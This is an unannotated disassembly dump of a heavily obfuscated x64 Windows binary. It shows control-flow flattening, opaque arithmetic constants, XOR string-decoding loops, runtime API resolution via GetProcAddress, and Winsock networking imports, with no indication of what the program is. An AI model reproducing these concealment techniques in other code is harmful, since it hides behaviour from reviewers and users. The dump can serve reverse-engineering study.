add bl, dl
jmp 0x140188271
movabs rcx, 0x8d3ac30d48c88150
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x30
add r8, r9
jmp 0x140188271
movabs rdx, 0x63c8f3d0503a4260
mov ecx, gethostbyaddr
jmp 0x14018820c
movabs rcx, 0x3a57249357ac0370
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x10
dec r11
inc r11
jmp 0x1401877b3
movabs rcx, 0x10e555565f1dc480
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
add bl, 0x80
inc r9
dec r11
inc r11
jmp 0x1401877b3
movabs rdx, 0xe7738619668f8590
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
jmp 0x140188194
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x140187df8
movabs rdx, 0x14b8e79e7c471f78
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x48
jmp 0x140187c50
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140187e26
movabs rdx, 0x6656000063ab29b0
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x18
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
jmp 0x14018834e
mov byte [rsp + 0x60], dl
mov dword [rbp + 0x10], esi
inc rax
cmp r8, rax
jne 0x140187e60
movabs rcx, 0xe2ab6db74d55e680
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
add bl, 0x80
mov dword [rbp + 0x10], esi
mov byte [rsp + 0x60], dl
jmp 0x140188271
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140187c52
movabs rcx, 0x5f00db6e3700a350
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x30
mov dword [rbp + 0x10], esi
mov byte [rsp + 0x60], dl
dec r11
inc r11
jmp 0x1401877b3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140187ecf
movabs rdx, 0x198100009580be88
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x24
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
mov esi, dword [rbp + 0x10]
jmp 0x140188194
mov byte [rsp + 0x60], r15b
mov dword [rbp + 0x10], esi
inc rax
cmp r8, rax
jne 0x140187f11
movabs rdx, 0xbf483cf477b9ba48
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
mov dword [rbp + 0x10], esi
mov byte [rsp + 0x60], r15b
add r8, r9
jmp 0x140188271
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140187f47
movabs rdx, 0x122bdb6e68d63828
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x18
add bl, dl
mov dword [rbp + 0x10], esi
mov byte [rsp + 0x60], r15b
jmp 0x1401882ac
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140187bbd
movabs rcx, 0x650f79e859f2b608
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x38
mov dword [rbp + 0x10], esi
mov byte [rsp + 0x60], r15b
movzx eax, byte [rbp + r11 + 0x21f2]
add rax, r9
add r11, rax
inc r11
jmp 0x1401877b3
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140187fc3
movabs rdx, 0x6b1e18627ce4c8c0
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ebx, byte [rbp + r11 + 0x21f2]
sub bl, al
sub bl, 0x40
mov esi, dword [rbp + 0x10]
jmp 0x14018821a
movabs rdx, 0x948fe79f757307b0
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x18
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r11 + 0x21f2]
add bl, r10b
add bl, dl
mov esi, dword [rbp + 0x10]
jmp 0x1401882ac
movabs rdx, 0x282b4924eed5cb48
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
jmp 0x14018834e
movabs rdx, 0xfeb979e7f6478c58
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x68
add bl, dl
jmp 0x1401882e0
movabs rcx, 0xabd5db6e052b0e78
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x48
jmp 0x140188271
movabs rdx, 0x2f806db71b8051a8
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostbyname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
dec r11
inc r11
jmp 0x1401877b3
movabs rdx, 0xdc9ccf3d2a63d3c8
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x78
add bl, dl
movabs rdx, 0x566530c4009da948
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x21f2], cl
inc r9
dec r11
inc r11
jmp 0x1401877b3
movabs rdx, 0x6047618640b916f8
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x1c
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
inc r9
dec r11
inc r11
jmp 0x1401877b3
movabs rdx, 0xd63c30c4f9c9918
mov ecx, 0x2c
add rdx, r11
movzx eax, r10b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
movabs rdx, 0x7fd70000f92be838
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x3c
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
add cl, bl
mov byte [rbp + r11 + 0x21f2], cl
add r8, r9
jmp 0x140188271
movabs rdx, 0xba8024925e801b38
add rdx, r11
movzx eax, dl
and al, dil
mov ecx, 0x3c
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1401877b3
mov r10, rdi
movabs rcx, 0x910e555565f1dc48
add rcx, r11
and dil, cl
mov eax, 4
sub al, dil
lea ebx, [rax + rax]
add bl, r10b
add bl, cl
movabs rdx, 0xa948cf3df1ba2728
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x18
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0x21f2], al
inc r9
add rax, r9
sub r11, rax
movabs rcx, 0xbe01b6dc6e0146a0
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x60
add r10b, cl
mov byte [rbp + r11 + 0x21f2], r10b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 + 0x21f2]
add rax, r9
add r11, rax
inc r11
jmp 0x1401877b3
movabs rdx, 0x3e2ab6db74d55e68
add rdx, r11
movzx eax, dil
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
movzx eax, byte [rbp + r11 + 0x21f2]
add rax, r9
add r11, rax
inc r11
jmp 0x1401877b3
movabs rcx, 0xc410555690f35958
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x68
jmp 0x1401877b0
movabs rdx, 0x9a9e861998651a68
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1401877a0
lea rdx, [rbp + 0x1494692]
jmp 0x1401883cb
lea rdx, [rbp + 0x50660a]
jmp 0x1401883cb
lea rdx, [rbp + 0x21f2]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r14d, r14d
test rax, rax
je 0x1401884f1
mov ebx, dword [rax + 4]
mov dword [0x1404e9d1c], ebx
mov dword [rbp + 0x3bbc], r14d
xor edx, edx
mov r8d, 0x200
lea rcx, [rbp + 0x3bc0]
call sub.VCRUNTIME140.dll_memset
xor eax, eax
mov qword [rbp + 0x3dc0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x3dc8], xmm0
movups xmmword [rbp + 0x3dd8], xmm0
mov qword [rbp + 0x3de8], rax
movups xmmword [rbp + 0x3df0], xmm0
mov dword [rbp + 0x3e00], eax
mov dword [rbp + 0x3e04], r14d
mov qword [rbp + 0x3e08], r14
mov qword [rbp + 0x3e10], r14
mov dword [rbp + 0x3e18], r14d
mov qword [rbp + 0x3e20], r14
mov qword [rbp + 0x3e28], rax
mov dword [rbp + 0x3e30], eax
mov dword [rbp + 0x3e34], r14d
mov dword [rbp + 0x3e38], r14d
mov dword [rbp + 0x3e3c], r14d
mov word [rbp + 0x3e40], r14w
movups xmmword [rbp + 0x3e48], xmm0
movups xmmword [rbp + 0x3e58], xmm0
mov qword [rbp + 0x3e68], rax
mov qword [rbp + 0x3bb0], 0xaed0de
mov dword [rbp + 0x3bb8], 1
mov eax, dword [0x1404e9e80]
mov dword [rsp + 0x48], eax
lea rax, [rbp + 0x3bb0]
mov qword [rsp + 0x40], rax
mov eax, dword [0x1404e9e0c]
mov dword [rsp + 0x38], eax
mov qword [rsp + 0x30], r14
mov eax, dword [0x1404e9e70]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, ebx
call fcn.140163710
jmp 0x1401884f1
xor r14d, r14d
test r12b, r12b
je 0x140188539
call fcn.140147330
mov edx, 2
lea rcx, [rbp + 0x188]
call fcn.1401569f0
mov rcx, rax
call fcn.1401a7360
mov ebx, esi
movzx esi, byte [rsp + 0x60]
movzx edi, sil
cmp byte [rbp + 0x5d10], 0
je 0x140189570
call fcn.14014cf20
mov ebx, dword [rbp + 0x10]
jmp 0x140189570
mov ebx, esi
movzx esi, byte [rsp + 0x60]
movzx edi, sil
call fcn.14014ced0
test al, al
jne 0x140189570
lea rdx, [rbp + 0x2130]
lea rcx, [rbp - 0x4d]
call fcn.140164820
mov eax, dword [rbp + 0x10]
mov ebx, eax
cmp byte [rbp + 0x2153], 0
je 0x1401885b2
mov r8d, r14d
lea r9, [rbp + 0x2130]
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x140188580
mov dword [rsp + 0x28], 0x3a98
mov word [rsp + 0x20], r14w
mov r9d, 0x1040
lea r8, [0x140443e2f]
lea rdx, [rbp + 0x2130]
xor ecx, ecx
call fcn.140145110
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2130], xmm0
movups xmmword [rbp + 0x2140], xmm0
mov dword [rbp + 0x2150], eax
jmp 0x140189570
mov byte [rbp + 0x8e0], 0xfb
mov byte [rbp + 0x8e1], 0xe6
mov byte [rbp + 0x8e2], 0xe2
mov byte [rbp + 0x8e3], 0xe4
mov byte [rbp + 0x8e4], 0x9a
mov byte [rbp + 0x8e5], 0x98
mov byte [rbp + 0x8e6], 0xe6
xor eax, eax
mov qword [rbp + 0x8e7], rax
mov dword [rbp + 0x8ef], eax
mov byte [rbp + 0x8f3], al
movabs rsi, 0x25748e1ecf282dec
movabs r14, 0xc7280e39a4531794
movabs r15, 0xb766191222e18d1c
movabs r13, 0x6a6d068ca13370c8
movabs r12, 0x743e57e4565fe244
movzx ebx, byte [rbp + 0x5d00]
nop dword [rax + rax]
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
xor r11d, r11d
movabs rdx, 0x87e0fa93c0b8c53c
cmp r11, 0x14
jae 0x140189448
movzx r10d, byte [rbp + r11 + 0x8e0]
mov rdi, r10
cmp r8, r11
ja 0x14018943f
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1401886de
lea rcx, [r11 + rdx]
mov rax, rcx
and rax, r10
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r10
add bl, 0x5c
jmp 0x140188720
je 0x1401893b3
lea rax, [r9 + 3]
cmp r8, rax
je 0x14018930d
lea rax, [r9 + 4]
cmp r8, rax
je 0x1401892aa
lea rax, [r9 + 2]
cmp r8, rax
je 0x14018927d
lea rax, [r9 + 5]
cmp r8, rax
je 0x140189228
nop dword [rax + rax]
cmp r9, r11
ja 0x140189436
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x140188749
lea rcx, [r11 + rsi]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x74
jmp 0x1401887a0
lea rax, [r9 + 1]
cmp r8, rax
je 0x140189204
inc rax
cmp r8, rax
je 0x1401891d7
lea rax, [r9 + 3]
cmp r8, rax
je 0x1401891ad
lea rax, [r9 + 2]
cmp r8, rax
je 0x14018918f
lea rax, [r9 + 6]
cmp r8, rax
je 0x14018916b
lea rax, [r9 + 7]
cmp r8, rax
je 0x140189148
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, r11
jbe 0x140188ddc
nop dword [rax]
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140188db9
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140188d89
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140188d60
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x140188d51
lea rax, [r9 + 2]
cmp r8, rax
je 0x140188d2a
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140188d03
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140188ce0
lea rax, [r9 + 3]
cmp r8, rax
je 0x140188cbd
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140188c84
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1401887b0
lea r8, [r9 + 0x80]
lea r9, [r8 + 4]
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14018940f
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1401893ec
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1401889b2
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x140188994
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14018897a
lea rax, [r9 + 2]
cmp r8, rax
jb 0x140188c21
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x140188bcb
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x140188b7a
lea rax, [r9 + 3]
cmp r8, rax
jb 0x140188b4c
lea rcx, [r11 + r14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0xc
jmp 0x1401887a0
lea rdx, [r11 + r15]
movzx eax, dl
and al, r10b
mov ecx, 0x1e
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x140188720
movabs rcx, 0xa7a423eaa17002a4
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x7c
movabs rdx, 0x87e0fa93c0b8c53c
jmp 0x1401886b0
mov byte [rbp + r11 + 0x8e0], bl
inc r11
jmp 0x140188693
movabs rdx, 0xf66dedb028a7b6fc
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
cmp r9, 8
jb 0x140188b6a
movabs rcx, 0x23a3d6dec99e95e8
add rcx, r11
movzx eax, cl
and al, r10b
mov edx, reloc.WS2_32.dll_sendto
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea ebx, [rdx + rdx]
jmp 0x140189246
movabs rdx, 0xe6abf888a7362c84
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, gethostbyaddr
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
cmp r8, 0x5a
jae 0x1401890ec
lea rax, [r9 + 3]
cmp r8, rax
jbe 0x140188feb
movabs rdx, 0x86104353bb2f2d38
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 0x3c
jmp 0x140188b92
movabs rcx, 0xd6ea036125c4a20c
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x54
lea rax, [r9 + r8]
cmp rax, 0x80
je 0x14018911b
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x140188ee9
movabs rdx, 0x609bb534ec06ff4c
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x14
add bl, dl
jmp 0x140188bed
movabs rdx, 0xe0bb54b8daf11388
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
movzx eax, byte [rbp + r11 + 0x8e0]
add rax, r9
add r11, rax
inc r11
jmp 0x140188693
movabs rcx, 0xd0f95f91597f8910
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x70
jmp 0x140189365
movabs rcx, 0xc1376a69d80dfe98
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x28
jmp 0x140189330
movabs rdx, 0xb1757542569c7420
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1401892f5
movabs rdx, 0xa1b3801ad52ae9a8
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostbyname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1401892f2
movabs rcx, 0x91f18af353b95f30
jmp 0x140188eaf
movabs rcx, 0x822f95cbd247d4b8
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 8
dec r11
inc r11
jmp 0x140188693
movabs rdx, 0x726da0a450d64a40
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 0x20
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
inc r9
dec r11
inc r11
jmp 0x140188693
movabs rcx, 0x62abab7ccf64bfc8
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x78
jmp 0x140189246
lea rax, [r9 + 0x2a]
cmp r8, rax
jae 0x140188e0c
movabs rdx, 0x87e0fa93c0b8c53c
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x2e
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x140188c3f
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140188e4e
movabs rdx, 0x4ae91c3d9e505bd8
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_inet_ntoa
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
movzx eax, byte [rbp + r11 + 0x8e0]
add rax, r9
add r11, rax
inc r11
jmp 0x140188693
inc rax
cmp r8, rax
jne 0x140188e79
movabs rcx, 0x5aab11651fc1e650
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x30
jmp 0x140189365
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140188e9c
lea rcx, [r11 + r13]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x78
jmp 0x140189330
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140188ec8
movabs rcx, 0x99b2e60325881030
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x50
jmp 0x1401892c8
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140188c3f
movabs rdx, 0xa974db2aa6f99aa8
mov ecx, reloc.WS2_32.dll_gethostbyname
jmp 0x14018928c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140188f17
movabs rdx, 0x705daa5c6d7889c4
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x5c
add bl, dl
jmp 0x140189246
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140188f4d
movabs rdx, 0x8fe194ab705b9eb4
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0xa
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
dec r11
inc r11
jmp 0x140188693
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140188f79
movabs rcx, 0xaf657efa733eb3a4
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x7c
jmp 0x1401892f2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140188fa5
movabs rcx, 0xdeab5e70f793530c
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x54
jmp 0x140189365
lea rax, [r9 + 9]
cmp r8, rax
jne 0x140188bed
movabs rdx, 0xee6d53987904dd84
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, gethostbyaddr
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
movzx eax, byte [rbp + r11 + 0x8e0]
add rax, r9
add r11, rax
inc r11
jmp 0x140188693
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14018902d
movabs rdx, 0x95d2387b3ca0b7b0
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 0x18
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
movzx eax, byte [rbp + r11 + 0x8e0]
add rax, r9
add r11, rax
inc r11
jmp 0x140188693
inc rax
cmp r8, rax
jne 0x14018905a
movabs rdx, 0xa5942da2be124228
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x18
add bl, dl
jmp 0x140189365
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140189086
movabs rdx, 0xb55622ca3f83cca0
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x60
jmp 0x14018932e
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401890b6
movabs rdx, 0x3365cc064b102060
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, gethostbyaddr
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r11 + 0x8e0]
add bl, dl
add bl, r10b
jmp 0x1401892c8
movabs rdx, 0x4327c12dcc81aad8
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_inet_ntoa
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r11 + 0x8e0]
add bl, r10b
jmp 0x14018932e
movabs rcx, 0x93c242335942f734
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x6c
jmp 0x140189330
movabs rcx, 0x84004d0bd7d16cbc
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x24
jmp 0x1401892f5
lea rdx, [r11 + r12]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1401892f2
movabs rcx, 0x54ba6d95537ccd54
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x4c
dec r11
inc r11
jmp 0x140188693
movabs rcx, 0x44f8786dd20b42dc
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 4
inc r9
dec r11
inc r11
jmp 0x140188693
movabs rdx, 0x353683465099b864
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 0x22
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x140189246
movabs rcx, 0x15b298f74db6a374
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x2c
movabs rdx, 0xab84d1728a575b24
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 2
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x8e0], cl
inc r9
dec r11
inc r11
jmp 0x140188693
movabs rdx, 0xf62eaea84ad38e84
mov ecx, gethostbyaddr
add rdx, r11
movzx eax, dl
and al, r10b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
dec r11
inc r11
jmp 0x140188693
movabs rcx, 0xe66cb980c962040c
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x54
movabs rdx, 0xbb46c69a0bc8e59c
add rdx, r11
movzx eax, dl
and al, r10b
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x44
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x8e0], cl
add r8, r9
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140188693
mov r10, rdi
movabs rdx, 0xb726da0a450d64a4
add rdx, r11
movzx eax, dl
and al, dil
add al, al
movzx ebx, dil
sub bl, al
sub bl, 0x7c
add bl, dl
movabs rdx, 0xcb08bbc18d3a7014
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 0x3a
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x8e0], al
inc r9
add rax, r9
sub r11, rax
movabs rcx, 0x52e9b6554df33550
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x30
add r10b, cl
mov byte [rbp + r11 + 0x8e0], r10b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 + 0x8e0]
add rax, r9
add r11, rax
inc r11
jmp 0x140188693
movabs rdx, 0x97a2efbb422a4fb4
add rdx, r11
movzx eax, dil
and al, dl
mov ecx, 0xa
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
movzx eax, byte [rbp + r11 + 0x8e0]
add rax, r9
add r11, rax
inc r11
jmp 0x140188693
movabs rcx, 0x97e22ec31ffe782c
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x34
jmp 0x14018868e
movabs rdx, 0x8820399b9e8cedb4
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 0xa
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x140188678
lea rbx, [rbp + 0x1648d30]
jmp 0x14018944f
lea rbx, [rbp + 0x9d526c]
jmp 0x14018944f
lea rbx, [rbp + 0x8e0]
lea rdx, [rbp + 0xaf0]
lea rcx, [rbp - 0x4c]
call fcn.1401647f0
xor r14d, r14d
cmp byte [rbp + 0xb09], r14b
je 0x1401894b2
mov r9d, r14d
lea r10, [rbp + 0xaf0]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r9b
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x1a
jl 0x140189480
lea rdx, [rbp + 0xaf0]
lea rcx, [rbp + 0x17b0]
call fcn.14013a940
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x17d0]
call fcn.140155d40
nop
mov rcx, rax
call fcn.140135dc0
mov rdx, rax
mov dword [rsp + 0x28], 0x3a98
mov word [rsp + 0x20], r14w
mov r9d, 0x1010
lea r8, [0x140443e2f]
xor ecx, ecx
call fcn.140145110
nop
lea rcx, [rbp + 0x17d0]
call fcn.140135dd0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xaf0], xmm0
mov qword [rbp + 0xb00], rax
mov word [rbp + 0xb08], ax
lea rcx, [rbp + 0xa08]
call fcn.140135c60
nop
lea rcx, [rbp + 0x1670]
call fcn.140135dd0
nop
mov rcx, qword [rbp - 8]
call fcn.140135dd0
nop
mov rcx, qword [rbp + 0x48]
call fcn.140135dd0
nop
mov rcx, qword [rbp]
call fcn.140135dd0
jmp 0x14018990f
mov dil, 1
movzx r12d, byte [rbp - 0x74]
mov dword [rbp + 0x3e7c], r14d
xor edx, edx
mov r8d, 0x200
lea rcx, [rbp + 0x3e80]
call sub.VCRUNTIME140.dll_memset
xor eax, eax
mov qword [rbp + 0x4080], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x4088], xmm0
movups xmmword [rbp + 0x4098], xmm0
mov qword [rbp + 0x40a8], rax
movups xmmword [rbp + 0x40b0], xmm0
mov dword [rbp + 0x40c0], eax
mov dword [rbp + 0x40c4], r14d
mov qword [rbp + 0x40c8], r14
mov qword [rbp + 0x40d0], r14
mov dword [rbp + 0x40d8], r14d
mov qword [rbp + 0x40e0], r14
mov qword [rbp + 0x40e8], rax
